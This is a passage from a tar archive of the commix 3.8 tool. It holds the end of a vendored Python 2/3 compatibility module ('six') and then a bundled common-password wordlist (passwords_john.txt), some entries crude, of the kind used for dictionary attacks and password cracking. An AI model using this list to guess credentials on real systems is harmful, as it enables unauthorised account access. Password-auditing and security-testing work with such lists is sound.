_assertRegex = "assertRegexpMatches"
else:
_assertRaisesRegex = "assertRaisesRegex"
_assertRegex = "assertRegex"
else:
def b(s):
return s
# Workaround for standalone backslash
def u(s):
return unicode(s.replace(r'\\', r'\\\\'), "unicode_escape")
unichr = unichr
int2byte = chr
def byte2int(bs):
return ord(bs[0])
def indexbytes(buf, i):
return ord(buf[i])
iterbytes = functools.partial(itertools.imap, ord)
import StringIO
StringIO = BytesIO = StringIO.StringIO
_assertCountEqual = "assertItemsEqual"
_assertRaisesRegex = "assertRaisesRegexp"
_assertRegex = "assertRegexpMatches"
_add_doc(b, """Byte literal""")
_add_doc(u, """Text literal""")
def assertCountEqual(self, *args, **kwargs):
return getattr(self, _assertCountEqual)(*args, **kwargs)
def assertRaisesRegex(self, *args, **kwargs):
return getattr(self, _assertRaisesRegex)(*args, **kwargs)
def assertRegex(self, *args, **kwargs):
return getattr(self, _assertRegex)(*args, **kwargs)
if PY3:
exec_ = getattr(moves.builtins, "exec")
def reraise(tp, value, tb=None):
try:
if value is None:
value = tp()
if value.__traceback__ is not tb:
raise value.with_traceback(tb)
raise value
finally:
value = None
tb = None
else:
def exec_(_code_, _globs_=None, _locs_=None):
"""Execute code in a namespace."""
if _globs_ is None:
frame = sys._getframe(1)
_globs_ = frame.f_globals
if _locs_ is None:
_locs_ = frame.f_locals
del frame
elif _locs_ is None:
_locs_ = _globs_
exec("""exec _code_ in _globs_, _locs_""")
exec_("""def reraise(tp, value, tb=None):
try:
raise tp, value, tb
finally:
tb = None
""")
if sys.version_info[:2] == (3, 2):
exec_("""def raise_from(value, from_value):
try:
if from_value is None:
raise value
raise value from from_value
finally:
value = None
""")
elif sys.version_info[:2] > (3, 2):
exec_("""def raise_from(value, from_value):
try:
raise value from from_value
finally:
value = None
""")
else:
def raise_from(value, from_value):
raise value
print_ = getattr(moves.builtins, "print", None)
if print_ is None:
def print_(*args, **kwargs):
"""The new-style print function for Python 2.4 and 2.5."""
fp = kwargs.pop("file", sys.stdout)
if fp is None:
return
def write(data):
if not isinstance(data, basestring):
data = str(data)
# If the file has an encoding, encode unicode with it.
if (isinstance(fp, file) and
isinstance(data, unicode) and
fp.encoding is not None):
errors = getattr(fp, "errors", None)
if errors is None:
errors = "strict"
data = data.encode(fp.encoding, errors)
fp.write(data)
want_unicode = False
sep = kwargs.pop("sep", None)
if sep is not None:
if isinstance(sep, unicode):
want_unicode = True
elif not isinstance(sep, str):
raise TypeError("sep must be None or a string")
end = kwargs.pop("end", None)
if end is not None:
if isinstance(end, unicode):
want_unicode = True
elif not isinstance(end, str):
raise TypeError("end must be None or a string")
if kwargs:
raise TypeError("invalid keyword arguments to print()")
if not want_unicode:
for arg in args:
if isinstance(arg, unicode):
want_unicode = True
break
if want_unicode:
newline = unicode("\n")
space = unicode(" ")
else:
newline = "\n"
space = " "
if sep is None:
sep = space
if end is None:
end = newline
for i, arg in enumerate(args):
if i:
write(sep)
write(arg)
write(end)
if sys.version_info[:2] < (3, 3):
_print = print_
def print_(*args, **kwargs):
fp = kwargs.get("file", sys.stdout)
flush = kwargs.pop("flush", False)
_print(*args, **kwargs)
if flush and fp is not None:
fp.flush()
_add_doc(reraise, """Reraise an exception.""")
if sys.version_info[0:2] < (3, 4):
def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS,
updated=functools.WRAPPER_UPDATES):
def wrapper(f):
f = functools.wraps(wrapped, assigned, updated)(f)
f.__wrapped__ = wrapped
return f
return wrapper
else:
wraps = functools.wraps
def with_metaclass(meta, *bases):
"""Create a base class with a metaclass."""
# This requires a bit of explanation: the basic idea is to make a dummy
# metaclass for one level of class instantiation that replaces itself with
# the actual metaclass.
class metaclass(type):
def __new__(cls, name, this_bases, d):
return meta(name, bases, d)
@classmethod
def __prepare__(cls, name, this_bases):
return meta.__prepare__(name, bases)
return type.__new__(metaclass, 'temporary_class', (), {})
def add_metaclass(metaclass):
"""Class decorator for creating a class with a metaclass."""
def wrapper(cls):
orig_vars = cls.__dict__.copy()
slots = orig_vars.get('__slots__')
if slots is not None:
if isinstance(slots, str):
slots = [slots]
for slots_var in slots:
orig_vars.pop(slots_var)
orig_vars.pop('__dict__', None)
orig_vars.pop('__weakref__', None)
if hasattr(cls, '__qualname__'):
orig_vars['__qualname__'] = cls.__qualname__
return metaclass(cls.__name__, cls.__bases__, orig_vars)
return wrapper
def ensure_binary(s, encoding='utf-8', errors='strict'):
"""Coerce **s** to six.binary_type.
For Python 2:
- `unicode` -> encoded to `str`
- `str` -> `str`
For Python 3:
- `str` -> encoded to `bytes`
- `bytes` -> `bytes`
"""
if isinstance(s, text_type):
return s.encode(encoding, errors)
elif isinstance(s, binary_type):
return s
else:
raise TypeError("not expecting type '%s'" % type(s))
def ensure_str(s, encoding='utf-8', errors='strict'):
"""Coerce *s* to `str`.
For Python 2:
- `unicode` -> encoded to `str`
- `str` -> `str`
For Python 3:
- `str` -> `str`
- `bytes` -> decoded to `str`
"""
if not isinstance(s, (text_type, binary_type)):
raise TypeError("not expecting type '%s'" % type(s))
if PY2 and isinstance(s, text_type):
s = s.encode(encoding, errors)
elif PY3 and isinstance(s, binary_type):
s = s.decode(encoding, errors)
return s
def ensure_text(s, encoding='utf-8', errors='strict'):
"""Coerce *s* to six.text_type.
For Python 2:
- `unicode` -> `unicode`
- `str` -> `unicode`
For Python 3:
- `str` -> `str`
- `bytes` -> decoded to `str`
"""
if isinstance(s, binary_type):
return s.decode(encoding, errors)
elif isinstance(s, text_type):
return s
else:
raise TypeError("not expecting type '%s'" % type(s))
def python_2_unicode_compatible(klass):
"""
A decorator that defines __unicode__ and __str__ methods under Python 2.
Under Python 3 it does nothing.
To support Python 2 and 3 with a single code base, define a __str__ method
returning text and apply this decorator to the class.
"""
if PY2:
if '__str__' not in klass.__dict__:
raise ValueError("@python_2_unicode_compatible cannot be applied "
"to %s because it doesn't define __str__()." %
klass.__name__)
klass.__unicode__ = klass.__str__
klass.__str__ = lambda self: self.__unicode__().encode('utf-8')
return klass
# Complete the moves implementation.
# This code is at the end of this module to speed up module loading.
# Turn this module into a package.
__path__ = [] # required for PEP 302 and PEP 451
__package__ = __name__ # see PEP 366 @ReservedAssignment
if globals().get("__spec__") is not None:
__spec__.submodule_search_locations = [] # PEP 451 @UndefinedVariable
# Remove other six meta path importers, since they cause problems. This can
# happen if six is removed from sys.modules and then reloaded. (Setuptools does
# this for some reason.)
if sys.meta_path:
for i, importer in enumerate(sys.meta_path):
# Here's some real nastiness: Another "instance" of the six module might
# be floating around. Therefore, we can't use isinstance() to check for
# the six meta path importer, since the other six instance will have
# inserted an importer with different class.
if (type(importer).__name__ == "_SixMetaPathImporter" and
importer.name == __name__):
del sys.meta_path[i]
break
del i, importer
# Finally, add the importer to the meta path import hook.
sys.meta_path.append(_importer)
commix-3.8/src/txt/ 0000775 0000000 0000000 00000000000 14466364451 0014303 5 ustar 00root root 0000000 0000000 commix-3.8/src/txt/passwords_john.txt 0000664 0000000 0000000 00000060720 14466364451 0020114 0 ustar 00root root 0000000 0000000 12345
abc123
password
computer
123456
tigger
1234
a1b2c3
qwerty
123
xxx
money
test
carmen
mickey
secret
summer
internet
service
canada
hello
ranger
shadow
baseball
donald
harley
hockey
letmein
maggie
mike
mustang
snoopy
buster
dragon
jordan
michael
michelle
mindy
patrick
123abc
andrew
bear
calvin
changeme
diamond
fuckme
fuckyou
matthew
miller
ou812
tiger
trustno1
12345678
alex
apple
avalon
brandy
chelsea
coffee
dave
falcon
freedom
gandalf
golf
green
helpme
linda
magic
merlin
molson
newyork
soccer
thomas
wizard
Monday
asdfgh
bandit
batman
boris
butthead
dorothy
eeyore
fishing
football
george
happy
iloveyou
jennifer
jonathan
love
marina
master
missy
monday
monkey
natasha
ncc1701
newpass
pamela
pepper
piglet
poohbear
pookie
rabbit
rachel
rocket
rose
smile
sparky
spring
steven
success
sunshine
thx1138
victoria
whatever
zapata
1
8675309
Internet
amanda
andy
angel
august
barney
biteme
boomer
brian
casey
coke
cowboy
delta
doctor
fisher
foobar
island
john
joshua
karen
marley
orange
please
rascal
richard
sarah
scooter
shalom
silver
skippy
stanley
taylor
welcome
zephyr
111111
1928
aaaaaa
abc
access
albert
alexander
andrea
anna
anthony
asdfjkl;
ashley
basf
basketball
beavis
black
bob
booboo
bradley
brandon
buddy
caitlin
camaro
charlie
chicken
chris
cindy
cricket
dakota
dallas
daniel
david
debbie
dolphin
elephant
emily
fish
fred
friend
fucker
ginger
goodluck
hammer
heather
help
iceman
jason
jessica
jesus
joseph
jupiter
justin
kevin
knight
lacrosse
lakers
lizard
madison
mary
mother
muffin
murphy
ncc1701d
newuser
nirvana
none
paris
pat
pentium
phoenix
picture
rainbow
sandy
saturn
scott
shannon
shithead
skeeter
sophie
special
stephanie
stephen
steve
sweetie
teacher
tennis
test123
tommy
topgun
tristan
wally
william
wilson
1q2w3e
654321
666666
777
a12345
a1b2c3d4
alpha
amber
angela
angie
archie
asdf
blazer
bond007
booger
charles
christin
claire
control
danny
david1
dennis
digital
disney
dog
duck
duke
edward
elvis
felix
flipper
floyd
franklin
frodo
guest
honda
horses
hunter
indigo
info
james
jasper
jeremy
joe
julian
kelsey
killer
kingfish
lauren
marie
maryjane
matrix
maverick
mayday
mercury
micro
mitchell
morgan
mountain
niners
nothing
oliver
peace
peanut
pearljam
phantom
popcorn
princess
psycho
pumpkin
purple
randy
rebecca
reddog
robert
rocky
roses
salmon
sam
samson
sharon
sierra
smokey
startrek
steelers
stimpy
sunflower
superman
support
sydney
techno
telecom
test1
walter
willie
willow
winner
ziggy
zxcvbnm
7777
OU812
a
absolut
alaska
alexis
alice
animal
apples
babylon5
backup
barbara
benjamin
bill
billy
bird33
blue
bluebird
bobby
bonnie
bubba
camera
chocolate
clark
claudia
cocacola
compton
connect
cookie
cruise
deliver
douglas
dreamer
dreams
duckie
eagles
eddie
einstein
enter
explorer
faith
family
ferrari
fire
flamingo
flip
flower
foxtrot
francis
freddy
friday
froggy
galileo
giants
gizmo
global
goofy
gopher
hansolo
happy1
hendrix
henry
herman
homer
honey
house
houston
iguana
indiana
insane
inside
irish
ironman
jake
jane
jasmin
jeanne
jerry
jim
joey
justice
katherine
kermit
kitty
koala
larry
leslie
logan
lucky
mark
martin
matt
minnie
misty
mitch
mom
mouse
nancy
nascar
nelson
netware
pantera
parker
passwd
penguin
peter
phil
phish
piano
pizza
porsche911
prince
punkin
pyramid
rain
raymond
red
robin
roger
rosebud
route66
royal
running
sadie
sasha
security
sergei
sheena
sheila
skiing
snapple
snowball
sparrow
spencer
spike
star
stealth
student
sun
sunny
sylvia
tamara
taurus
tech
teresa
theresa
thunderbird
tigers
tony
toyota
training
travel
truck
tuesday
victory
video
viper1
volvo
wesley
whisky
winnie
winter
wolves
xyz123
zorro
!@#$%
007
123123
1234567
1969
5683
696969
888888
Anthony
Bond007
Friday
Hendrix
Joshua
Matthew
October
Taurus
Tigger
aaa
aaron
abby
abcdef
adidas
adrian
alexandr
alfred
arthur
athena
austin
awesome
badger
bamboo
beagle
bears
beatles
beautiful
beaver
benny
bigmac
bingo
bitch
blonde
boogie
boston
brenda
bright
bubba1
bubbles
buffy
button
buttons
cactus
candy
captain
carlos
caroline
carrie
casper
catalog
catch22
challenge
chance
charity
charlotte
cheese
cheryl
chloe
chris1
clancy
clipper
coltrane
compaq
conrad
cooper
cooter
copper
cosmos
cougar
cracker
crawford
crystal
curtis
cyclone
cyrano
dan
dance
dawn
dean
deutsch
diablo
dilbert
dollars
dookie
doom
dumbass
dundee
e-mail
elizabeth
eric
europe
export
farmer
firebird
fletcher
fluffy
ford
fountain
fox
france
freak1
friends
frog
fuckoff
gabriel
gabriell
galaxy
gambit
garden
garfield
garlic
garnet
genesis
genius
godzilla
goforit
golfer
goober
grace
grateful
greenday
groovy
grover
guitar
hacker
harry
hazel
hector
herbert
hoops
horizon
hornet
howard
icecream
imagine
impala
informix
jack
janice
jasmine
jason1
jeanette
jeffrey
jenifer
jenni
jesus1
jewels
joker
julie
julie1
junior
justin1
kathleen
keith
kelly
kelly1
kennedy
kevin1
knicks
lady
larry1
ledzep
lee
leonard
lestat
library
lincoln
lionking
london
louise
lucky1
lucy
maddog
mailman
majordomo
mantra
margaret
mariposa
market
marlboro
martin1
marty
master1
mazda1
mensuck
mercedes
metal
metallic
midori
mikey
millie
mirage
mmm
molly
monet
money1
monica
monopoly
mookie
moose
moroni
music
naomi
nathan
ncc1701e
nesbitt
news
nguyen
nicholas
nicole
nimrod
october
olive
olivia
one
online
open
oscar
oxford
pacific
painter
peaches
penelope
pepsi
pete
petunia
philip
phoenix1
photo
pickle
player
poiuyt
porsche
porter
ppp
puppy
python
quality
quest
raquel
raven
remember
republic
research
robbie
robert1
roman
rugby
runner
russell
ryan
sailing
sailor
samantha
savage
sbdc
scarlett
school
sean
seven
shadow1
sheba
shelby
shit
shoes
simba
simple
skipper
smiley
snake
snickers
sniper
snoopdog
snowman
sonic
spitfire
sprite
spunky
starwars
station
stella
stingray
storm
stormy
stupid
sumuinen
sunny1
sunrise
supra
surfer
susan
tammy
tango
tanya
tara
teddy1
temp
testing
theboss
theking
thumper
tina
tintin
tomcat
trebor
trek
trevor
tweety
unicorn
valentine
valerie
vanilla
veronica
victor
vincent
viper
warrior
warriors
weasel
wheels
wilbur
winston
wisdom
wombat
xanadu
xavier
xxxx
yellow
zaphod
zeppelin
zeus
!@#$%^
!@#$%^&*
*
0007
1022
10sne1
1111
1212
1911
1948
1973
1978
1996
1p2o3i
2000
2222
3bears
5252
Andrew
Broadway
Champs
Family
Fisher
Friends
Jeanne
Killer
Knight
Master
Michael
Michelle
Pentium
Pepper
Raistlin
Sierra
Snoopy
Tennis
Tuesday
abacab
abcd
abcd1234
abcdefg
abigail
account
ace
acropolis
adam
adi
alex1
alice1
allison
alpine
amy
anders
andre1
andrea1
angel1
anita
annette
antares
apache
apollo
aragorn
arizona
arnold
arsenal
asdfasdf
asdfg
asdfghjk
avenger
avenir
baby
babydoll
bach
bailey
banana
barry
basil
basket
bass
batman1
beaner
beast
beatrice
beer
bella
ben
bertha
bigben
bigdog
biggles
bigman
binky
biology
bishop
bliss
blondie
blowfish
bluefish
bmw
bobcat
bosco
boss
braves
brazil
bridges
bruce
bruno
brutus
buck
buffalo
bugsy
bull
bulldog
bullet
bullshit
bunny
business
butch
butler
butter
california
cannondale
canon
carebear
carol
carol1
carole
cassie
castle
catalina
catherine
catnip
cccccc
celine
center
champion
chanel
chaos
chelsea1
chester1
chicago
chico
chip
christian
christy
church
cinder
civil
colleen
colorado
columbia
commander
connie
content
cook
cookies
cooking
cordelia
corona
cowboys
coyote
crack1
craig
creative
crow
cuddles
cuervo
cutie
cyber
daddy
daisie
daisy
daniel1
danielle
dark1
database
davids
deadhead
death
denali
denis
depeche
derek
design
destiny
diana
diane
dickens
dickhead
digger
dodger
don
donna
dougie
draft
dragonfly
dylan
eagle
eclipse
electric
emerald
emmitt
entropy
etoile
excalibur
express
farout
farside
feedback
fender
fidel
fiona
fireman
firenze
fish1
flash
fletch
florida
flowers
fool
foster
fozzie
francesco
francine
francois
frank
french
fuckface
fun
gargoyle
gasman
gemini
general
gerald
germany
gilbert
goaway
gold
golden
goldfish
goose
gordon
graham
grant
graphic
gregory
gretchen
gunner
hal9000
hannah
harold
harrison
harvey
hawkeye
heaven
heidi
helen
helena
hell
herzog
hithere
hobbit
huey
ibanez
idontknow
image
integra
intern
intrepid
ireland
irene
isaac
isabel
jackie
jackson
jaguar
jamaica
japan
jeff
jenny1
jessie
jethrotull
jkl123
joel
johan
johanna1
johnny
joker1
jordan23
judith
julia
jumanji
jussi
kangaroo
karen1
kathy
keepout
keith1
kenneth
kidder
kim
kimberly
king
kingdom
kirk
kitkat
kramer
kris
kristen
lambda
laura
laurie
law
lawrence
lawyer
legend
leon
liberty
light
lindsay
lindsey
lisa
liverpool
logical
lola
lonely
lorrie
louis
lovely
loveme
lucas
m
madonna
mail
major
malcolm
malibu
marathon
marcel
maria1
mariah
mariah1
marilyn
mariner
mario
mark1
marvin
maurice
max
maxine
maxwell
me
media
meggie
melanie
melissa
melody
merlot
mexico
michael1
michele
midnight
midway
mike1
miki
mine
miracle
misha
mishka
mmouse
molly1
monique
montreal
moocow
moon
moore
mopar
morris
mort
mortimer
mouse1
mulder
nautica
nellie
nermal
new
newton
nicarao
nick
nina
nirvana1
nissan
norman
notebook
ocean
olivier
ollie
olsen
opera
opus
oranges
oregon
orion
overkill
pacers
packer
panda
pandora
panther
passion
patricia
pearl
peewee
pencil
penny
people
percy
person
peter1
petey
picard
picasso
pierre
pinkfloyd
pit
plus
polar
polaris
police
polo
pookie1
poppy
power
predator
preston
primus
prometheus
public
q1w2e3
queen
queenie
quentin
radio
ralph
random
rangers
raptor
rastafarian
reality
redrum
remote
reptile
reynolds
rhonda
ricardo
ricardo1
ricky
river
roadrunner
rob
robinhood
robotech
rocknroll
rocky1
rodeo
rolex
ronald
rouge
roxy
roy
ruby
ruthie
sabrina
sakura
salasana
sally
sampson
samuel
sandra
santa
sapphire
scarecrow
scarlet
scorpio
scott1
scottie
scout
scruffy
scuba1
seattle
serena
sergey
shanti
shark
shogun
simon
singer
skibum
skull
skunk
skywalker
slacker
smashing
smiles
snowflake
snowski
snuffy
soccer1
soleil
sonny
sound
spanky
speedy
spider
spooky
stacey
star69
start
starter
steven1
sting1
stinky
strawberry
stuart
sugar
sunbird
sundance
superfly
suzanne
suzuki
swimmer
swimming
system
taffy
tarzan
tbird
teddy
teddybear
teflon
temporal
terminal
terry
the
theatre
thejudge
thunder
thursday
time
tinker
toby
today
tokyo
tootsie
tornado
tracy
tree
tricia
trident
trojan
trout
truman
trumpet
tucker
turtle
tyler
utopia
vader
val
valhalla
visa
voyager
warcraft
warlock
warren
water
wayne
wendy
williams
willy
win95
windsurf
winona
wolf
wolf1
woody
woofwoof
wrangler
wright
www
xcountry
xfiles
xxxxxx
y
yankees
yoda
yukon
yvonne
zebra
zenith
zigzag
zombie
zxc123
zxcvb
zzz
000000
007007
11111
11111111
1213
1214
1225
123321
1313
1316
1332
1412
1430
171717
1818
181818
1950
1952
1953
1955
1956
1960
1964
1975
1977
1991
1a2b3c
1chris
1kitty
1qw23e
2001
2020
2112
22
2200
2252
2kids
3010
3112
3141
333
3533
4055
4444
4788
4854
4runner
5050
5121
54321
55555
57chevy
6262
6301
6969
7777777
789456
7dwarfs
88888888
Abcdefg
Alexis
Alpha
Animals
Ariel
BOSS
Bailey
Bastard
Beavis
Bismillah
Bonzo
Booboo
Boston
Canucks
Cardinal
Carol
Celtics
ChangeMe
Charlie
Chris
Computer
Cougar
Creative
Curtis
Daniel
Darkman
Denise
Dragon
Eagles
Elizabeth
Esther
Figaro
Fishing
Fortune
Freddy
Front242
Gandalf
Geronimo
Gingers
Golden
Goober
Gretel
HARLEY
Hacker
Hammer
Harley
Heather
Henry
Hershey
Homer
Jackson
Janet
Jennifer
Jersey
Jessica
Joanna
Johnson
Jordan
KILLER
Katie
Kitten
Liberty
Lindsay
Lizard
Madeline
Margaret
Maxwell
Mellon
Merlot
Metallic
Michel1
Money
Monster
Montreal
Newton
Nicholas
Noriko
Paladin
Pamela
Password
Peaches
Peanuts
Peter
Phoenix
Piglet
Pookie
Princess
Purple
Rabbit
Raiders
Random
Rebecca
Robert
Russell
Sammy
Saturn
Service
Shadow
Sidekick
Skeeter
Smokey
Sparky
Speedy
Sterling
Steven
Summer
Sunshine
Superman
Sverige
Swoosh
Taylor
Theresa
Thomas
Thunder
Vernon
Victoria
Vincent
Waterloo
Webster
Willow
Winnie
Wolverine
Woodrow
World
aa
aaaa
aardvark
abbott
abcd123
abcde
accord
active
acura
adg
admin
admin1
adrock
aerobics
africa
agent
airborne
airwolf
aki123
alfaro
ali
alicia
alien
aliens
alina
aline
alison
allegro
allen
allstate
aloha
alpha1
altamira
althea
altima
altima1
amanda1
amazing
america
amour
anderson
andre
andrew!
andrew1
andromed
angels
angie1
ann
anne
anneli
annie
anything
apple1
apple2
applepie
april
aptiva
aqua
aquarius
ariane
ariel
arlene
arrow
artemis
asdf1234
asdf;lkj
asdfjkl
ashley1
ashraf
ashton
assmunch
asterix
attila
autumn
avatar
ayelet
aylmer
babes
bambi
baraka
barbie
barn
barney1
barnyard
barrett
bart
bartman
bball
beaches
beanie
beans
beasty
beauty
beavis1
bebe
becca
belgium
belize
belle
belmont
benji
benson
beowulf
bernardo
berry
beryl
best
beta
betacam
betsy
betty
bharat
bichon
bigal
bigboss
bigred
biker
bilbo
bills
billy1
bimmer
bioboy
biochem
birdie
birdy
birthday
biscuit
bitter
biz
blackjack
blah
blanche
blinds
blitz
blood
blowjob
blowme
blueeyes
bluejean
blues
boat
bogart
bogey
bogus
bombay
boobie
boots
bootsie
boulder
bourbon
boxer
boxers
bozo
brain
branch
brandi
brent
brewster
bridge
britain
broker
bronco
bronte
brooke
brother
bryan
bubble
bucks
buddha
budgie
buffett
bugs
bulls
burns
burton
butterfly
buzz
byron
c00per
calendar
calgary
calvin1
camay
camel
camille
campbell
camping
cancer
canela
cannon
car
carbon
carl
carnage
carolyn
carrot
cascade
cat
catfish
cathy
catwoman
cecile
celica
cement
cessna
chad
chainsaw
chameleon
chang
change
chantal
charger
chat
cherry
chess
chiara
chiefs
china
chinacat
chinook
chouette
chris123
christ1
christmas
christopher
chronos
chuck
cicero
cindy1
cinema
circuit
cirque
cirrus
civic
clapton
clarkson
class
claude
claudel
cleo
cliff
clock
clueless
cobain
cobra
cody
colette
college
color
colors
colt45
comet
concept
concorde
confused
cool
coolbean
cora
corky
cornflake
corvette
corwin
cosmo
country
courier
cows
crescent
cross
crowley
crusader
cthulhu
cuda
cunningham
cunt
cupcake
current
cutlass
cynthia
daedalus
dagger
dagger1
daily
dale
dammit
damogran
dana
dancer
daphne
darkstar
darren
darryl
darwin
data1
datatrain
daytek
dead
deborah
december
decker
deedee
deeznuts
def
delano
delete
demon
denise
denny
desert
deskjet
detroit
devil
devine
devon
dexter
dharma
dianne
diesel
dillweed
dim
dipper
director
disco
dixie
dixon
doc
dodgers
dogbert
doggy
doitnow
dollar
dolly
dominique
domino
dontknow
doogie
doors
dork
doudou
doug
downtown
dragon1
driver
dude
dudley
dutch
dutchess
dwight
eagle1
easter
eastern
edith
edmund
effie
eieio
eight
element
elina1
elissa
ella
ellen
elliot
elsie
empire
engage
enigma
enterprise
eric1
erin
ernie1
escort
escort1
estelle
eugene
evelyn
excel
explore
eyal
faculty
fairview
family1
fatboy
faust
felipe
fenris
ferguson
ferret
ferris
finance
fireball
first
fishes
fishhead
fishie
flanders
fleurs
flight
florida1
flowerpot
flute
fly
flyboy
flyer
forward
franka
freddie
frederic
free
freebird
freeman
frisco
fritz
froggie
froggies
frogs
front242
frontier
fucku
fugazi
funguy
funtime
future
fuzz
gabby
gaby
gaelic
gambler
games
gammaphi
garcia
garfunkel
garth
gary
gaston
gateway
gateway2
gator1
george1
georgia
german
germany1
getout
ggeorge
ghost
gibbons
gibson
gigi
gilgamesh
giselle
glider1
gmoney
goat
goblin
goblue
godiva
goethe
gofish
gollum
gone
good
gramps
grandma
gravis
gray
greed
greg
greg1
gremlin
greta
gretzky
grizzly
grumpy
guess
guido
guitar1
gumby
gustavo
h2opolo
haggis
haha
hailey
hal
halloween
hallowell
hamid
hamilton
hamlet
hank
hanna
hanson
happy123
happyday
hardcore
harley1
haro
harriet
harris
harvard
hawk
hawkeye1
health
health1
heart
heather1
heather2
hedgehog
heikki
helene
hello1
hello123
hello8
hellohello
help123
helper
hermes
heythere
highland
hilda
hillary
histoire
history
hitler
hobbes
holiday
holly
homerj
honda1
hongkong
hoosier
hootie
hope
horse
hosehead
hotrod
huang
hudson
hugh
hugo
hummer
huskies
hydrogen
i
ib6ub9
idiot
if6was9
iforget
ilmari
iloveu
impact
indonesia
ingvar
insight
instruct
integral
iomega
irina
iris
irmeli
isabelle
israel
italia
italy
izzy
j0ker
j1l2t3
jackie1
jacob
jakey
james1
jamesbond
jamie
jamjam
jan
jazz
jean
jedi
jeepster
jeffrey1
jennie
jenny
jensen
jer
jesse
jesse1
jester
jethro
jetta1
jimbob
jimi
jimmy
joanie
joanna
joelle
john316
jordie
jorge
josee
josh
journey
joy
joyce
jubilee
juhani
jules
julia2
julien
juliet
jumbo
jump
junebug
juniper
justdoit
justice4
kalamazo
kali
karin
karine
karma
kat
kate
katerina
katie
katie1
kayla
kcin
keeper
keller
kendall
kenny
kerala
kerrya
ketchup
khan
kids
kings
kissa2
kissme
kitten
kittycat
kiwi
kkkkkk
kleenex
kombat
kristi
kristine
lab1
labtec
laddie
ladybug
lamer
lance
laser
laserjet
lassie1
laurel
lawson
leader
leaf
leblanc
legal
leland
lemon
leo
lester
letter
letters
lev
lexus1
libra
life
lights
lima
lionel
lions
lissabon
little
liz
lizzy
logger
logos
loislane
loki
lolita
lonestar
longer
longhorn
looney
loren
lori
lorna
loser
lost
lotus
lou
lovers
loveyou
lucia
lucifer
lucky14
macha
macross
macse30
maddie
madmax
madoka
magic1
magnum
maiden
maine
makeitso
mallard
manageme
manson
manuel
marc
marcus
maria
marielle
marine
marino
marshall
mart
martha
math
matti1
mattingly
maxmax
meatloaf
mech
mechanic
medical
megan
meister
melina
memphis
mercer
merde
mermaid
merrill
miami
michal
michel
michigan
michou
mickel
mickey1
microsoft
midvale
mikael
milano
miles
millenium
million
minou
miranda
miriam
mission
mmmmmm
mobile
mobydick
modem
mojo
monkey1
monroe
montana
montana3
montrose
monty
moomoo
moonbeam
morecats
morpheus
motor
motorola
movies
mowgli
mozart
mulder1
munchkin
murray
muscle
mustang1
nadia
nadine
napoleon
nation
national
neil
neko
nesbit
nestle
neutrino
newaccount
newlife
newyork1
nexus6
nichole
nicklaus
nightshadow
nightwind
nike
nikita
nikki
nintendo
nisse
nokia
nomore
none1
nopass
normal
norton
notta1
nouveau
novell
noway
nugget
number9
numbers
nurse
nutmeg
oaxaca
obiwan
obsession
ohshit
oicu812
omega
openup
orchid
oreo
orlando
orville
otter
ozzy
paagal
packard
packers
packrat
paint
paloma
pam
pancake
panic
papa
paradigm
park
parola
parrot
partner
pascal
pass
patches
patriots
paula
pauline
pavel
payton
peach
peanuts
pedro1
peggy
pekka
perfect
performa
perry
peterk
peterpan
phialpha
philips
phillips
phishy
phone
piano1
pianoman
pianos
pierce
pigeon
pink
pioneer
pipeline
piper1
pirate
pisces
plato
play
playboy
pluto
poetic
poetry
pole
pontiac
pookey
pope
popeye
prayer
precious
prelude
premier
print
printing
prof
provider
puddin
pulsar
pussy
pussy1
pyro
qqq111
quebec
qwer
qwert
qwerty12
qwertyui
r0ger
rabbit1
racer
racerx
rachelle
racoon
radar
rafiki
raleigh
ram
rambo
randy1
rasta1
ratio
ravens
redcloud
redfish
redman
redskins
redwing
redwood
reed
reggae
reggie
reliant
rene
renee
renegade
rescue
revolution
rex
reznor
rhino
rhjrjlbk
richard1
richards
richmond
riley
ripper
ripple
rita
robby
roberts
robocop
robotics
roche
rock
rocket1
rockie
rockon
roger1
rogers
roland
rommel
roni
rookie
rootbeer
rosie
rossigno
rufus
rugger
rush
rusty
ruthless
sabbath
sabina
safety
safety1
saigon
saint
samIam
samiam
sammie
sammy
samsam
sandi
sanjose
saphire
sarah1
saskia
sassy
satori
saturday
saturn5
schnapps
science
scooby
scoobydoo
scooter1
scorpion
scotch
scotty
scouts
scuba
search
secret3
seeker
seoul
september
server
services
seven7
sex
sexy
shaggy
shanghai
shanny
shaolin
shasta
shayne
shazam
shelly
shelter
sherry
ship
shirley
shorty
shotgun
sidney
sigmachi
signal
signature
simba1
simsim
sinatra
sirius
skate
skip
skipper1
skydive
skyler
slayer
sleepy
slick
slider
slip
smegma
smile1
smiths
smitty
smoke
smurfy
snakes
snapper
snoop
snow
sober1
solomon
sonics
sony
sophia
space
sparks
spartan
spazz
sphynx
spike1
spock
sponge
spoon
spot
sprocket
spurs
squash
stan
starbuck
stargate
starlight
stars
steel
steph1
stephi
steve1
stevens
stewart
sting
stivers
stocks
stone
storage
stranger
strat
strato
stretch
strong
stud
student2
studio
stumpy
sucker
suckme
sue
sultan
summit
sunfire
sunset
super
superstar
surfing
susan1
susanna
sutton
suzy
swanson
sweden
sweetpea
sweety
swim
switzer
swordfish
system5
t-bone
tab
tabatha
tacobell
taiwan
talon
tamtam
tanner
tapani
targas
target
tarheel
tasha
tata
tattoo
tazdevil
tequila
terry1
test2
test3
tester
testi
testtest
texas
thankyou
theend
thelorax
thisisit
thompson
thorne
thrasher
tiger2
tightend
tika
tim
timber
timothy
tinkerbell
tnt
tom
tool
topcat
topher
toshiba
total
toto1
tototo
toucan
transfer
transit
transport
trapper
trash
travis
tre
treasure
trees
tricky
trish
triton
trombone
trophy
trouble
trucker
tucson
tula
turbo
turbo2
twins
tyler1
ultimate
unique
united
unity
unix
upsilon
ursula
user1
vacation
valley
vampire
vanessa
vedder
velo
venice
venus
vermont
vette
vicki
vicky
victor1
vikram
vincent1
violet
violin
virago
virgil
virginia
vision
visual
volcano
volley
voodoo
vortex
waiting
walden
waldo
walleye
wanker
warner
water1
wayne1
webmaster
webster
wedge
weezer
wendy1
western
whale1
whit
white
whitney
whocares
whoville
wibble
wildcat
will
william1
wilma
wind
window
winniethepooh
wolfgang
wolverine
wombat1
wonder
word
world
x-files
x-men
xanth
xxx123
xxxxxxxx
xyz
yamaha
yankee
yogibear
yolanda
yomama
yvette
zachary
zack
zebras
zepplin
zoltan
zoomer
zxc
zxcvbn
!@#$%^&
00000000
121212
1234qwer
123go
131313
13579
1701d
21122112
369
5555
80486
90210
911
99999999
@#$%^&
ABC123
Abcdef
Asdfgh
Casio
Changeme
FuckYou
Fuckyou
Gizmo
Hello
JSBach
Michel
